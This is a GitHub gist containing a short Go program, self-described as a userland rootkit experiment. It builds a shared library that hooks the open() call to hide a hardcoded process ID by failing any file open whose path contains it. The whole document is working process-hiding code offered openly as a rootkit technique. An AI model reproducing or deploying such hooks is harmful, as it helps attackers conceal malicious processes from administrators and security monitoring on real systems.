Last active
May 28, 2020 19:27
-
-
Save pyperanger/2acca2554fa61f02e7f1810ece6fcb89 to your computer and use it in GitHub Desktop.
"Hooking" Open call (rootkit ring3 wanna be)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
go build -o opengo.so -buildmode=c-shared open.go | |
*/ | |
package main | |
// #cgo LDFLAGS: -fpic -shared | |
// #include <sys/types.h> | |
import "C" | |
import ( | |
"strings" | |
"syscall" | |
) | |
var ( | |
// PID TO HIDE | |
PID = "1393" | |
) | |
//export open | |
func open(pathname *C.char, flags C.int, mode C.mode_t) int { | |
if strings.Contains(C.GoString(pathname), PID) { | |
return -1 | |
} | |
fd, err := syscall.Open(C.GoString(pathname), int(flags), uint32(mode)) | |
if err != nil { | |
return -1 | |
} | |
return fd | |
} | |
func main() {} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment